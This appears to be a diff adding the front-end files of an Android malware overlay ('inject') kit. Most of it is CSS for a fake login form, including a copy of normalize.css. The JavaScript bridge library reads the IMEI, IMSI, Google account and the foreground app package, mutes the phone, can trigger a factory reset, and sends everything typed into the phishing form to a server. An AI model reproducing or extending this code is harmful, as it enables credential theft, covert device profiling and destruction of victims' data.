||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 4.5 KiB |
|
After Width: | Height: | Size: 6.8 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,306 @@
|
||||
|
||||
|
||||
|
||||
.container {
|
||||
padding-top:70px;
|
||||
}
|
||||
.wrapper .row {
|
||||
position: relative;
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_header{
|
||||
background: #FFFFFF;
|
||||
border: solid 1px #365FB4;
|
||||
}
|
||||
.row_header + .row {
|
||||
margin-top: 14px;
|
||||
}
|
||||
.form_header {
|
||||
background: #FE0101;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
top:0;
|
||||
left:0;
|
||||
width:100%;
|
||||
padding: 20px 12px 6px 12px;
|
||||
border-bottom: solid 1px #A9A9A9;
|
||||
}
|
||||
.content{
|
||||
padding: 0 15px;
|
||||
max-width: 330px;
|
||||
margin: 0 auto;
|
||||
max-width: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #000;
|
||||
font-family: "Helvetica";
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 131px;
|
||||
padding-right: 6%;
|
||||
margin-bottom: 13px;
|
||||
}
|
||||
.inp_caption_l {
|
||||
position: absolute;
|
||||
left: 6%;
|
||||
text-align: left;
|
||||
top: 8px;
|
||||
}
|
||||
.inp_wr_l {
|
||||
float: right;
|
||||
width: 100%;
|
||||
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: none;
|
||||
outline-style: none;
|
||||
background-color: #FFF;
|
||||
border: 1px solid #E8E8E8;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
max-width: 330px;
|
||||
height: 35px;
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr {
|
||||
display:table;
|
||||
max-width:330px;
|
||||
margin-left:auto;
|
||||
margin-right:auto;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.logon_btn {
|
||||
width: 140px;
|
||||
height: 40px;
|
||||
background-color: #FE0101;
|
||||
background-image: -moz-linear-gradient(bottom, #FE0101 0%, #FE0101 100%);
|
||||
background-image: -o-linear-gradient(bottom, #FE0101 0%, #FE0101 100%);
|
||||
background-image: -webkit-linear-gradient(bottom, #FE0101 0%, #FE0101 100%);
|
||||
background-image: linear-gradient(to top, #FE0101 0%, #FE0101 100%);
|
||||
border: 2px solid #F0F0F0;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
-webkit-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
cursor: pointer;
|
||||
outline-style: none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
|
||||
.main_select {
|
||||
text-align: left;
|
||||
}
|
||||
.main_select.jq-selectbox {
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 35px;
|
||||
padding: 0 5px 0 5px;
|
||||
border: 1px solid #E8E8E8 !important;
|
||||
-moz-border-radius: 5px !important;
|
||||
-webkit-border-radius: 5px !important;
|
||||
border-radius: 5px !important;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
border-radius: 0;
|
||||
background: #fff;
|
||||
box-shadow: none;
|
||||
color: #363636;
|
||||
text-shadow: none;
|
||||
font-size: 14px;
|
||||
font: 14px/26px 'Helvetica';
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger {
|
||||
width: 30px;
|
||||
height: 35px !important;
|
||||
height: 100%;
|
||||
border-left: none;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow {
|
||||
top: 16px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text {
|
||||
height: 35px;
|
||||
line-height: 37px;
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown {
|
||||
top: 35px !important;
|
||||
width: 100%;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 1px solid #CCC;
|
||||
border-radius: 0;
|
||||
background: #FFF;
|
||||
box-shadow: none;
|
||||
font: 14px/26px 'Helvetica';
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown li{
|
||||
padding: 0 5px 0 !important;
|
||||
}
|
||||
@media (max-width: 320px){
|
||||
.inp_caption_l {
|
||||
left: 0;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 110px;
|
||||
padding-right: 0;
|
||||
}
|
||||
}
|
||||
@media (max-height: 436px){
|
||||
.form_header {
|
||||
padding: 10px 5px 5px 5px;
|
||||
height: 40px;
|
||||
}
|
||||
.container {padding-top:40px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 0;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.logon_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 20px;
|
||||
line-height: 22px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 20px !important;
|
||||
width: 18px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 9px;
|
||||
right: 6px;
|
||||
}
|
||||
.inp_caption_l{
|
||||
top: 3px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
}
|
||||
@media (max-height: 240px) {
|
||||
.input_block_wr_l{
|
||||
padding-left: 95px;
|
||||
}
|
||||
}
|
||||
@media (max-width: 200px), (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 18px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.container {padding-top:18px;}
|
||||
.form_header img{
|
||||
max-height: 13px;
|
||||
}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: -3px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 0;
|
||||
}
|
||||
.main_input{
|
||||
height: 12px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 1px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 1px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.logon_btn{
|
||||
font-size: 7px;
|
||||
width: 70px;
|
||||
height: 16px;
|
||||
line-height: 10px;
|
||||
}
|
||||
.logon_btn img {
|
||||
top: 4px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 3px;
|
||||
padding-left: 70px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 15px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 15px;
|
||||
line-height: 15px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 15px !important;
|
||||
width: 7px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 6px;
|
||||
right: 3px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
